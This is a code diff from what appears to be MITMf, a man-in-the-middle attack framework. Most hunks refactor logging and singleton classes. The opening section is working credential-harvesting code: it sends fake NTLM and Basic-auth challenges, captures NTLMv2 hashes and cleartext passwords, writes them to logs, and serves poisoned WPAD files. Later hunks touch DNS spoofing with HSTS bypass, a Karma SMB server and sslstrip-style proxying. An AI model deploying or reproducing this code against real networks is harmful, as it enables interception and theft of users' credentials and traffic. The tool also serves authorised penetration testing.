DomainLen = struct.unpack('<H',data[28:30])[0]
|
||||
DomainOffset = struct.unpack('<H',data[32:34])[0]
|
||||
Domain = data[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||
UserLen = struct.unpack('<H',data[36:38])[0]
|
||||
UserOffset = struct.unpack('<H',data[40:42])[0]
|
||||
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
HostNameLen = struct.unpack('<H',data[44:46])[0]
|
||||
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
||||
outfile = "./logs/responder/HTTP-NTLMv2-Client-"+client+".txt"
|
||||
WriteHash = User+"::"+Domain+":"+NumChal+":"+NTHash[:32]+":"+NTHash[32:]
|
||||
WriteData(outfile,WriteHash, User+"::"+Domain)
|
||||
mitmf_logger.info('[+]HTTP NTLMv2 hash captured from :%s'%(client))
|
||||
mitmf_logger.info('[+]HTTP NTLMv2 User is : %s'%(User))
|
||||
mitmf_logger.info('[+]HTTP NTLMv2 Domain is :%s'%(Domain))
|
||||
mitmf_logger.info('[+]HTTP NTLMv2 Hostname is :%s'%(HostName))
|
||||
mitmf_logger.info('[+]HTTP NTLMv2 Complete hash is :%s'%(WriteHash))
|
||||
|
||||
def WpadCustom(data,client):
|
||||
WPAD_Script = ConfigWatcher.getInstance().getConfig()["Responder"]['WPADScript']
|
||||
Wpad = re.search('(/wpad.dat|/*\.pac)', data)
|
||||
if Wpad:
|
||||
buffer1 = WPADScript(Payload=WPAD_Script)
|
||||
buffer1.calculate()
|
||||
return str(buffer1)
|
||||
else:
|
||||
return False
|
||||
|
||||
# Function used to check if we answer with a Basic or NTLM auth.
|
||||
def Basic_Ntlm(Basic):
|
||||
if Basic == True:
|
||||
return IIS_Basic_401_Ans()
|
||||
else:
|
||||
return IIS_Auth_401_Ans()
|
||||
|
||||
#Handle HTTP packet sequence.
|
||||
def PacketSequence(data,client):
|
||||
Ntlm = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
|
||||
BasicAuth = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
|
||||
|
||||
if Ntlm:
|
||||
packetNtlm = b64decode(''.join(Ntlm))[8:9]
|
||||
if packetNtlm == "\x01":
|
||||
r = NTLM_Challenge(ServerChallenge=Challenge)
|
||||
r.calculate()
|
||||
t = IIS_NTLM_Challenge_Ans()
|
||||
t.calculate(str(r))
|
||||
buffer1 = str(t)
|
||||
return buffer1
|
||||
if packetNtlm == "\x03":
|
||||
NTLM_Auth= b64decode(''.join(Ntlm))
|
||||
ParseHTTPHash(NTLM_Auth,client)
|
||||
if args.forceWpadAuth and WpadCustom(data,client):
|
||||
mitmf_logger.info("[WPADPoisoner] WPAD (auth) file sent to: {}".format(client))
|
||||
buffer1 = WpadCustom(data,client)
|
||||
return buffer1
|
||||
else:
|
||||
buffer1 = IIS_Auth_Granted(Payload=HTMLToServe)
|
||||
buffer1.calculate()
|
||||
return str(buffer1)
|
||||
|
||||
if BasicAuth:
|
||||
outfile = "./logs/responder/HTTP-Clear-Text-Password-"+client+".txt"
|
||||
WriteData(outfile,b64decode(''.join(BasicAuth)), b64decode(''.join(BasicAuth)))
|
||||
mitmf_logger.info('[+]HTTP-User & Password: %s'%(b64decode(''.join(BasicAuth))))
|
||||
if args.forceWpadAuth and WpadCustom(data,client):
|
||||
mitmf_logger.info("[WPADPoisoner] WPAD (auth) file sent to: {}".format(client))
|
||||
buffer1 = WpadCustom(data,client)
|
||||
return buffer1
|
||||
else:
|
||||
buffer1 = IIS_Auth_Granted(Payload=HTMLToServe)
|
||||
buffer1.calculate()
|
||||
return str(buffer1)
|
||||
|
||||
else:
|
||||
return str(Basic_Ntlm(args.basic))
|
||||
|
|
@ -20,8 +20,10 @@ import sys
|
|||
import logging
|
||||
import inspect
|
||||
import traceback
|
||||
from core.logger import logger
|
||||
|
||||
log = logging.getLogger('mitmf')
|
||||
formatter = logging.Formatter("%(asctime)s [ProxyPlugins] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("ProxyPlugins", formatter)
|
||||
|
||||
class ProxyPlugins:
|
||||
'''
|
||||
|
@ -41,48 +43,45 @@ class ProxyPlugins:
|
|||
vars still have to be set back in the function. This only happens
|
||||
in handleResponse, but is still annoying.
|
||||
'''
|
||||
_instance = None
|
||||
|
||||
plist = []
|
||||
|
||||
mthdDict = {"connectionMade" : "request",
|
||||
"handleStatus" : "responsestatus",
|
||||
"handleResponse" : "response",
|
||||
"handleHeader" : "responseheaders",
|
||||
"handleEndHeaders": "responseheaders"}
|
||||
|
||||
pmthds = {}
|
||||
plugin_mthds = {}
|
||||
plugin_list = []
|
||||
|
||||
@staticmethod
|
||||
def getInstance():
|
||||
if ProxyPlugins._instance == None:
|
||||
ProxyPlugins._instance = ProxyPlugins()
|
||||
__shared_state = {}
|
||||
|
||||
return ProxyPlugins._instance
|
||||
def __init__(self):
|
||||
self.__dict__ = self.__shared_state
|
||||
|
||||
def setPlugins(self, plugins):
|
||||
def set_plugins(self, plugins):
|
||||
'''Set the plugins in use'''
|
||||
|
||||
for p in plugins:
|
||||
self.addPlugin(p)
|
||||
self.add_plugin(p)
|
||||
|
||||
log.debug("[ProxyPlugins] Loaded {} plugin/s".format(len(self.plist)))
|
||||
log.debug("Loaded {} plugin/s".format(len(plugins)))
|
||||
|
||||
def addPlugin(self,p):
|
||||
def add_plugin(self,p):
|
||||
'''Load a plugin'''
|
||||
self.plist.append(p)
|
||||
log.debug("[ProxyPlugins] Adding {} plugin".format(p.name))
|
||||
self.plugin_list.append(p)
|
||||
log.debug("Adding {} plugin".format(p.name))
|
||||
for mthd,pmthd in self.mthdDict.iteritems():
|
||||
try:
|
||||
self.pmthds[mthd].append(getattr(p,pmthd))
|
||||
self.plugin_mthds[mthd].append(getattr(p,pmthd))
|
||||
except KeyError:
|
||||
self.pmthds[mthd] = [getattr(p,pmthd)]
|
||||
self.plugin_mthds[mthd] = [getattr(p,pmthd)]
|
||||
|
||||
def removePlugin(self,p):
|
||||
def remove_plugin(self,p):
|
||||
'''Unload a plugin'''
|
||||
self.plist.remove(p)
|
||||
log.debug("[ProxyPlugins] Removing {} plugin".format(p.name))
|
||||
self.plugin_list.remove(p)
|
||||
log.debug("Removing {} plugin".format(p.name))
|
||||
for mthd,pmthd in self.mthdDict.iteritems():
|
||||
self.pmthds[mthd].remove(p)
|
||||
self.plugin_mthds[mthd].remove(p)
|
||||
|
||||
def hook(self):
|
||||
'''Magic to hook various function calls in sslstrip'''
|
||||
|
@ -105,17 +104,17 @@ class ProxyPlugins:
|
|||
|
||||
del args['self']
|
||||
|
||||
log.debug("[ProxyPlugins] hooking {}()".format(fname))
|
||||
log.debug("hooking {}()".format(fname))
|
||||
#calls any plugin that has this hook
|
||||
try:
|
||||
for f in self.pmthds[fname]:
|
||||
for f in self.plugin_mthds[fname]:
|
||||
a = f(**args)
|
||||
if a != None: args = a
|
||||
except KeyError as e:
|
||||
pass
|
||||
except Exception as e:
|
||||
#This is needed because errors in hooked functions won't raise an Exception + Traceback (which can be infuriating)
|
||||
log.error("[ProxyPlugins] Exception occurred in hooked function")
|
||||
log.error("Exception occurred in hooked function")
|
||||
traceback.print_exc()
|
||||
|
||||
#pass our changes to the locals back down
|
||||
|
|
|
@ -42,23 +42,26 @@ import logging
|
|||
from configobj import ConfigObj
|
||||
from core.configwatcher import ConfigWatcher
|
||||
from core.utils import shutdown
|
||||
from core.logger import logger
|
||||
|
||||
from mitmflib.dnslib import *
|
||||
from IPy import IP
|
||||
|
||||
log = logging.getLogger('mitmf')
|
||||
formatter = logging.Formatter("%(asctime)s %(clientip)s [DNSChef] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("DNSChef", formatter)
|
||||
|
||||
# DNSHandler Mixin. The class contains generic functions to parse DNS requests and
|
||||
# calculate an appropriate response based on user parameters.
|
||||
class DNSHandler():
|
||||
|
||||
|
||||
def parse(self,data):
|
||||
|
||||
nametodns = DNSChef.getInstance().nametodns
|
||||
nameservers = DNSChef.getInstance().nameservers
|
||||
hsts = DNSChef.getInstance().hsts
|
||||
hstsconfig = DNSChef.getInstance().real_records
|
||||
server_address = DNSChef.getInstance().server_address
|
||||
nametodns = DNSChef().nametodns
|
||||
nameservers = DNSChef().nameservers
|
||||
hsts = DNSChef().hsts
|
||||
hstsconfig = DNSChef().real_records
|
||||
server_address = DNSChef().server_address
|
||||
clientip = {"clientip": self.client_address[0]}
|
||||
|
||||
response = ""
|
||||
|
||||
|
@ -67,7 +70,7 @@ class DNSHandler():
|
|||
d = DNSRecord.parse(data)
|
||||
|
||||
except Exception as e:
|
||||
log.info("{} [DNSChef] Error: invalid DNS request".format(self.client_address[0]))
|
||||
log.info("Error: invalid DNS request", extra=clientip)
|
||||
|
||||
else:
|
||||
# Only Process DNS Queries
|
||||
|
@ -111,7 +114,7 @@ class DNSHandler():
|
|||
# Create a custom response to the query
|
||||
response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q)
|
||||
|
||||
log.info("{} [DNSChef] Cooking the response of type '{}' for {} to {}".format(self.client_address[0], qtype, qname, fake_record))
|
||||
log.info("Cooking the response of type '{}' for {} to {}".format(qtype, qname, fake_record), extra=clientip)
|
||||
|
||||
# IPv6 needs additional work before inclusion:
|
||||
if qtype == "AAAA":
|
||||
|
@ -180,7 +183,7 @@ class DNSHandler():
|
|||
response = response.pack()
|
||||
|
||||
elif qtype == "*" and not None in fake_records.values():
|
||||
log.info("{} [DNSChef] Cooking the response of type '{}' for {} with {}".format(self.client_address[0], "ANY", qname, "all known fake records."))
|
||||
log.info("Cooking the response of type '{}' for {} with {}".format("ANY", qname, "all known fake records."), extra=clientip)
|
||||
|
||||
response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap,qr=1, aa=1, ra=1), q=d.q)
|
||||
|
||||
|
@ -255,7 +258,7 @@ class DNSHandler():
|
|||
|
||||
# Proxy the request
|
||||
else:
|
||||
log.debug("{} [DNSChef] Proxying the response of type '{}' for {}".format(self.client_address[0], qtype, qname))
|
||||
log.debug("Proxying the response of type '{}' for {}".format(qtype, qname), extra=clientip)
|
||||
|
||||
nameserver_tuple = random.choice(nameservers).split('#')
|
||||
response = self.proxyrequest(data, *nameserver_tuple)
|
||||
|
@ -299,7 +302,7 @@ class DNSHandler():
|
|||
def proxyrequest(self, request, host, port="53", protocol="udp"):
|
||||
reply = None
|
||||
try:
|
||||
if DNSChef.getInstance().ipv6:
|
||||
if DNSChef().ipv6:
|
||||
|
||||
if protocol == "udp":
|
||||
sock = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
|
||||
|
@ -335,13 +338,13 @@ class DNSHandler():
|
|||
sock.close()
|
||||
|
||||
except Exception, e:
|
||||
log.warning("[DNSChef] Could not proxy request: {}".format(e))
|
||||
log.warning("Could not proxy request: {}".format(e), extra=clientip)
|
||||
else:
|
||||
return reply
|
||||
|
||||
def hstsbypass(self, real_domain, fake_domain, nameservers, d):
|
||||
|
||||
log.info("{} [DNSChef] Resolving '{}' to '{}' for HSTS bypass".format(self.client_address[0], fake_domain, real_domain))
|
||||
log.info("Resolving '{}' to '{}' for HSTS bypass".format(fake_domain, real_domain), extra=clientip)
|
||||
|
||||
response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q)
|
||||
|
||||
|
@ -395,7 +398,7 @@ class ThreadedUDPServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer):
|
|||
|
||||
# Override SocketServer.UDPServer to add extra parameters
|
||||
def __init__(self, server_address, RequestHandlerClass):
|
||||
self.address_family = socket.AF_INET6 if DNSChef.getInstance().ipv6 else socket.AF_INET
|
||||
self.address_family = socket.AF_INET6 if DNSChef().ipv6 else socket.AF_INET
|
||||
|
||||
SocketServer.UDPServer.__init__(self,server_address,RequestHandlerClass)
|
||||
|
||||
|
@ -406,30 +409,26 @@ class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
|
|||
|
||||
# Override SocketServer.TCPServer to add extra parameters
|
||||
def __init__(self, server_address, RequestHandlerClass):
|
||||
self.address_family = socket.AF_INET6 if DNSChef.getInstance().ipv6 else socket.AF_INET
|
||||
self.address_family = socket.AF_INET6 if DNSChef().ipv6 else socket.AF_INET
|
||||
|
||||
SocketServer.TCPServer.__init__(self,server_address,RequestHandlerClass)
|
||||
|
||||
class DNSChef(ConfigWatcher):
|
||||
|
||||
_instance = None
|
||||
version = "0.4"
|
||||
|
||||
version = "0.4"
|
||||
tcp = False
|
||||
ipv6 = False
|
||||
hsts = False
|
||||
real_records = dict()
|
||||
nametodns = dict()
|
||||
real_records = {}
|
||||
nametodns = {}
|
||||
server_address = "0.0.0.0"
|
||||
nameservers = ["8.8.8.8"]
|
||||
port = 53
|
||||
|
||||
@staticmethod
|
||||
def getInstance():
|
||||
if DNSChef._instance == None:
|
||||
DNSChef._instance = DNSChef()
|
||||
__shared_state = {}
|
||||
|
||||
return DNSChef._instance
|
||||
def __init__(self):
|
||||
self.__dict__ = self.__shared_state
|
||||
|
||||
def on_config_change(self):
|
||||
config = self.config['MITMf']['DNS']
|
||||
|
|
|
@ -1,82 +0,0 @@
|
|||
#!/usr/bin/env python2.7
|
||||
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
import logging
|
||||
import sys
|
||||
import tornado.ioloop
|
||||
import tornado.web
|
||||
import threading
|
||||
|
||||
from core.configwatcher import ConfigWatcher
|
||||
|
||||
tornado_logger = logging.getLogger("tornado")
|
||||
tornado_logger.propagate = False
|
||||
formatter = logging.Formatter("%(asctime)s [HTTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
fileHandler = logging.FileHandler("./logs/mitmf.log")
|
||||
streamHandler = logging.StreamHandler(sys.stdout)
|
||||
fileHandler.setFormatter(formatter)
|
||||
streamHandler.setFormatter(formatter)
|
||||
tornado_logger.addHandler(fileHandler)
|
||||
tornado_logger.addHandler(streamHandler)
|
||||
|
||||
class HTTPServer(ConfigWatcher):
|
||||
|
||||
_instance = None
|
||||
application = tornado.web.Application([])
|
||||
http_port = int(ConfigWatcher.config["MITMf"]["HTTP"]["port"])
|
||||
|
||||
@staticmethod
|
||||
def getInstance():
|
||||
if HTTPServer._instance == None:
|
||||
HTTPServer._instance = HTTPServer()
|
||||
|
||||
return HTTPServer._instance
|
||||
|
||||
def addHandler(self, urlregex, handler, vhost=''):
|
||||
self.application.add_handlers(vhost, [(urlregex, handler)])
|
||||
|
||||
def addStaticPathHandler(self, urlregex, path, vhost=''):
|
||||
self.application.add_handlers(vhost, [(urlregex, {"static_path": path})])
|
||||
|
||||
def resetApplication(self):
|
||||
self.application = tornado.web.Application([])
|
||||
|
||||
def parseConfig(self):
|
||||
for url,path in self.config['MITMf']['HTTP']['Paths'].iteritems():
|
||||
self.addStaticPathHandler(url, path)
|
||||
|
||||
def onConfigChange(self):
|
||||
self.resetApplication()
|
||||
self.parseConfig()
|
||||
|
||||
def start(self):
|
||||
self.parseConfig()
|
||||
self.application.listen(self.http_port)
|
||||
|
||||
t = threading.Thread(name='HTTPserver', target=tornado.ioloop.IOLoop.instance().start)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
class HTTPHandler(tornado.web.RequestHandler):
|
||||
def get(self):
|
||||
raise HTTPError(405)
|
||||
|
||||
def post(self):
|
||||
raise HTTPError(405)
|
48
core/servers/http/HTTPserver.py
Normal file
48
core/servers/http/HTTPserver.py
Normal file
|
@ -0,0 +1,48 @@
|
|||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
import logging
|
||||
import threading
|
||||
|
||||
from core.configwatcher import ConfigWatcher
|
||||
from flask import Flask
|
||||
|
||||
class HTTPserver(ConfigWatcher):
|
||||
|
||||
server = Flask("HTTPserver")
|
||||
|
||||
__shared_state = {}
|
||||
|
||||
def __init__(self):
|
||||
self.__dict__ = self.__shared_state
|
||||
|
||||
def start_flask(self):
|
||||
self.server.run(debug=False, host='0.0.0.0', port=int(self.config['MITMf']['HTTP']['port']))
|
||||
|
||||
def start(self):
|
||||
self.setup_http_logger()
|
||||
server_thread = threading.Thread(name='HTTPserver', target=self.start_flask)
|
||||
server_thread.setDaemon(True)
|
||||
server_thread.start()
|
||||
|
||||
def setup_http_logger(self):
|
||||
formatter = logging.Formatter("%(asctime)s [HTTP] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
flask_logger = logging.getLogger('werkzeug')
|
||||
flask_logger.propagate = False
|
||||
fileHandler = logging.FileHandler("./logs/mitmf.log")
|
||||
fileHandler.setFormatter(formatter)
|
||||
flask_logger.addHandler(fileHandler)
|
|
@ -11,46 +11,39 @@ from core.utils import shutdown
|
|||
|
||||
class SMBserver(ConfigWatcher):
|
||||
|
||||
_instance = None
|
||||
__shared_state = {}
|
||||
|
||||
def __init__(self):
|
||||
self.__dict__ = self.__shared_state
|
||||
|
||||
self.impacket_ver = version.VER_MINOR
|
||||
self.server_type = self.config["MITMf"]["SMB"]["type"].lower()
|
||||
self.smbchallenge = self.config["MITMf"]["SMB"]["Challenge"]
|
||||
self.smb_port = int(self.config["MITMf"]["SMB"]["port"])
|
||||
self.version = version.VER_MINOR
|
||||
self.mode = self.config["MITMf"]["SMB"]["mode"].lower()
|
||||
self.challenge = self.config["MITMf"]["SMB"]["Challenge"]
|
||||
self.port = int(self.config["MITMf"]["SMB"]["port"])
|
||||
|
||||
@staticmethod
|
||||
def getInstance():
|
||||
if SMBserver._instance == None:
|
||||
SMBserver._instance = SMBserver()
|
||||
|
||||
return SMBserver._instance
|
||||
|
||||
def parseConfig(self):
|
||||
server = None
|
||||
def server(self):
|
||||
try:
|
||||
if self.server_type == 'normal':
|
||||
if self.mode == 'normal':
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [SMBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
self.configureLogging(formatter)
|
||||
self.conf_impacket_logger(formatter)
|
||||
|
||||
server = smbserver.SimpleSMBServer(listenPort=self.smb_port)
|
||||
server = smbserver.SimpleSMBServer(listenPort=self.port)
|
||||
|
||||
for share in self.config["MITMf"]["SMB"]["Shares"]:
|
||||
path = self.config["MITMf"]["SMB"]["Shares"][share]['path']
|
||||
readonly = self.config["MITMf"]["SMB"]["Shares"][share]['readonly'].lower()
|
||||
server.addShare(share.upper(), path, readOnly=readonly)
|
||||
|
||||
server.setSMBChallenge(self.smbchallenge)
|
||||
server.setSMBChallenge(self.challenge)
|
||||
server.setLogFile('')
|
||||
|
||||
elif self.server_type == 'karma':
|
||||
elif self.mode == 'karma':
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [KarmaSMB] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
self.configureLogging(formatter)
|
||||
self.conf_impacket_logger(formatter)
|
||||
|
||||
server = KarmaSMBServer(self.smbchallenge, self.smb_port)
|
||||
server = KarmaSMBServer(self.challenge, self.port)
|
||||
server.defaultFile = self.config["MITMf"]["SMB"]["Karma"]["defaultfile"]
|
||||
|
||||
for extension, path in self.config["MITMf"]["SMB"]["Karma"].iteritems():
|
||||
|
@ -60,13 +53,12 @@ class SMBserver(ConfigWatcher):
|
|||
shutdown("\n[-] Invalid SMB server type specified in config file!")
|
||||
|
||||
return server
|
||||
|
||||
|
||||
except socketerror as e:
|
||||
if "Address already in use" in e:
|
||||
shutdown("\n[-] Unable to start SMB server on port {}: port already in use".format(self.smb_port))
|
||||
shutdown("\n[-] Unable to start SMB server on port {}: port already in use".format(self.port))
|
||||
|
||||
def configureLogging(self, formatter):
|
||||
#yes I know this looks awful, yuck
|
||||
def conf_impacket_logger(self, formatter):
|
||||
|
||||
LOG.setLevel(logging.INFO)
|
||||
LOG.propagate = False
|
||||
|
@ -81,6 +73,6 @@ class SMBserver(ConfigWatcher):
|
|||
LOG.addHandler(streamHandler)
|
||||
|
||||
def start(self):
|
||||
t = threading.Thread(name='SMBserver', target=self.parseConfig().start)
|
||||
t = threading.Thread(name='SMBserver', target=self.server().start)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
|
|
@ -39,8 +39,10 @@ from SSLServerConnection import SSLServerConnection
|
|||
from URLMonitor import URLMonitor
|
||||
from CookieCleaner import CookieCleaner
|
||||
from DnsCache import DnsCache
|
||||
from core.logger import logger
|
||||
|
||||
log = logging.getLogger('mitmf')
|
||||
formatter = logging.Formatter("%(asctime)s [ClientRequest] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("ClientRequest", formatter)
|
||||
|
||||
class ClientRequest(Request):
|
||||
|
||||
|
@ -76,13 +78,13 @@ class ClientRequest(Request):
|
|||
|
||||
if 'host' in headers:
|
||||
host = self.urlMonitor.URLgetRealHost(str(headers['host']))
|
||||
log.debug("[ClientRequest][HSTS] Modifing HOST header: {} -> {}".format(headers['host'], host))
|
||||
log.debug("Modifing HOST header: {} -> {}".format(headers['host'], host))
|
||||
headers['host'] = host
|
||||
self.setHeader('Host', host)
|
||||
|
||||
if 'accept-encoding' in headers:
|
||||
del headers['accept-encoding']
|
||||
log.debug("[ClientRequest] Zapped encoding")
|
||||
log.debug("Zapped encoding")
|
||||
|
||||
if 'if-none-match' in headers:
|
||||
del headers['if-none-match']
|
||||
|
@ -109,11 +111,11 @@ class ClientRequest(Request):
|
|||
|
||||
if os.path.exists(scriptPath): return scriptPath
|
||||
|
||||
log.warning("[ClientRequest] Error: Could not find lock.ico")
|
||||
log.warning("Error: Could not find lock.ico")
|
||||
return "lock.ico"
|
||||
|
||||
def handleHostResolvedSuccess(self, address):
|
||||
log.debug("[ClientRequest] Resolved host successfully: {} -> {}".format(self.getHeader('host'), address))
|
||||
log.debug("Resolved host successfully: {} -> {}".format(self.getHeader('host'), address))
|
||||
host = self.getHeader("host")
|
||||
headers = self.cleanHeaders()
|
||||
client = self.getClientIP()
|
||||
|
@ -151,22 +153,22 @@ class ClientRequest(Request):
|
|||
self.dnsCache.cacheResolution(hostparts[0], address)
|
||||
|
||||
if (not self.cookieCleaner.isClean(self.method, client, host, headers)):
|
||||
log.debug("[ClientRequest] Sending expired cookies")
|
||||
log.debug("Sending expired cookies")
|
||||
self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path))
|
||||
|
||||
elif (self.urlMonitor.isSecureFavicon(client, path)):
|
||||
log.debug("[ClientRequest] Sending spoofed favicon response")
|
||||
log.debug("Sending spoofed favicon response")
|
||||
self.sendSpoofedFaviconResponse()
|
||||
|
||||
elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)):
|
||||
if 'securelink' in headers:
|
||||
del headers['securelink']
|
||||
|
||||
log.debug("[ClientRequest] Sending request via SSL ({})".format((client,url)))
|
||||
log.debug("Sending request via SSL ({})".format((client,url)))
|
||||
self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url))
|
||||
|
||||
else:
|
||||
log.debug("[ClientRequest] Sending request via HTTP")
|
||||
log.debug("Sending request via HTTP")
|
||||
#self.proxyViaHTTP(address, self.method, path, postData, headers)
|
||||
port = 80
|
||||
if len(hostparts) > 1:
|
||||
|
@ -175,7 +177,7 @@ class ClientRequest(Request):
|
|||
self.proxyViaHTTP(address, self.method, path, postData, headers, port)
|
||||
|
||||
def handleHostResolvedError(self, error):
|
||||
log.debug("[ClientRequest] Host resolution error: {}".format(error))
|
||||
log.debug("Host resolution error: {}".format(error))
|
||||
try:
|
||||
self.finish()
|
||||
except:
|
||||
|
@ -185,23 +187,23 @@ class ClientRequest(Request):
|
|||
address = self.dnsCache.getCachedAddress(host)
|
||||
|
||||
if address != None:
|
||||
log.debug("[ClientRequest] Host cached: {} {}".format(host, address))
|
||||
log.debug("Host cached: {} {}".format(host, address))
|
||||
return defer.succeed(address)
|
||||
else:
|
||||
|
||||
log.debug("[ClientRequest] Host not cached.")
|
||||
log.debug("Host not cached.")
|
||||
self.customResolver.port = self.urlMonitor.getResolverPort()
|
||||
|
||||
try:
|
||||
log.debug("[ClientRequest] Resolving with DNSChef")
|
||||
log.debug("Resolving with DNSChef")
|
||||
address = str(self.customResolver.query(host)[0].address)
|
||||
return defer.succeed(address)
|
||||
except Exception:
|
||||
log.debug("[ClientRequest] Exception occured, falling back to Twisted")
|
||||
log.debug("Exception occured, falling back to Twisted")
|
||||
return reactor.resolve(host)
|
||||
|
||||
def process(self):
|
||||
log.debug("[ClientRequest] Resolving host: {}".format(self.getHeader('host')))
|
||||
log.debug("Resolving host: {}".format(self.getHeader('host')))
|
||||
host = self.getHeader('host').split(":")[0]
|
||||
|
||||
if self.hsts:
|
||||
|
|
|
@ -17,8 +17,10 @@
|
|||
#
|
||||
|
||||
import logging
|
||||
from core.logger import logger
|
||||
|
||||
log = logging.getLogger('mitmf')
|
||||
formatter = logging.Formatter("%(asctime)s [DnsCache] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("DnsCache", formatter)
|
||||
|
||||
class DnsCache:
|
||||
|
||||
|
@ -51,7 +53,7 @@ class DnsCache:
|
|||
def setCustomRes(self, host, ip_address=None):
|
||||
if ip_address is not None:
|
||||
self.cache[host] = ip_address
|
||||
log.debug("[DNSCache] DNS entry set: %s -> %s" %(host, ip_address))
|
||||
log.debug("DNS entry set: %s -> %s" %(host, ip_address))
|
||||
else:
|
||||
if self.customAddress is not None:
|
||||
self.cache[host] = self.customAddress
|
||||
|
|
|
@ -22,8 +22,10 @@ import string
|
|||
|
||||
from ServerConnection import ServerConnection
|
||||
from URLMonitor import URLMonitor
|
||||
from core.logger import logger
|
||||
|
||||
log = logging.getLogger('mitmf')
|
||||
formatter = logging.Formatter("%(asctime)s [SSLServerConnection] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("SSLServerConnection", formatter)
|
||||
|
||||
class SSLServerConnection(ServerConnection):
|
||||
|
||||
|
@ -59,11 +61,11 @@ class SSLServerConnection(ServerConnection):
|
|||
for v in values:
|
||||
if v[:7].lower()==' domain':
|
||||
dominio=v.split("=")[1]
|
||||
log.debug("[SSLServerConnection][HSTS] Parsing cookie domain parameter: %s"%v)
|
||||
log.debug("Parsing cookie domain parameter: %s"%v)
|
||||
real = self.urlMonitor.real
|
||||
if dominio in real:
|
||||
v=" Domain=%s"%real[dominio]
|
||||
log.debug("[SSLServerConnection][HSTS] New cookie domain parameter: %s"%v)
|
||||
log.debug("New cookie domain parameter: %s"%v)
|
||||
newvalues.append(v)
|
||||
value = ';'.join(newvalues)
|
||||
|
||||
|
@ -87,13 +89,13 @@ class SSLServerConnection(ServerConnection):
|
|||
if ((not link.startswith('http')) and (not link.startswith('/'))):
|
||||
absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link
|
||||
|
||||
log.debug("[SSLServerConnection] Found path-relative link in secure transmission: " + link)
|
||||
log.debug("[SSLServerConnection] New Absolute path-relative link: " + absoluteLink)
|
||||
log.debug("Found path-relative link in secure transmission: " + link)
|
||||
log.debug("New Absolute path-relative link: " + absoluteLink)
|
||||
elif not link.startswith('http'):
|
||||
absoluteLink = "http://"+self.headers['host']+link
|
||||
|
||||
log.debug("[SSLServerConnection] Found relative link in secure transmission: " + link)
|
||||
log.debug("[SSLServerConnection] New Absolute link: " + absoluteLink)
|
||||
log.debug("Found relative link in secure transmission: " + link)
|
||||
log.debug("New Absolute link: " + absoluteLink)
|
||||
|
||||
if not absoluteLink == "":
|
||||
absoluteLink = absoluteLink.replace('&', '&')
|
||||
|
|
|
@ -32,6 +32,9 @@ from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
|||
from core.logger import logger
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s %(clientip)s [type:%(browser)s-%(browserv)s os:%(clientos)s] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
clientlog = logger().setup_logger("ServerConnection_clientlog", formatter)
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [ServerConnection] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("ServerConnection", formatter)
|
||||
|
||||
class ServerConnection(HTTPClient):
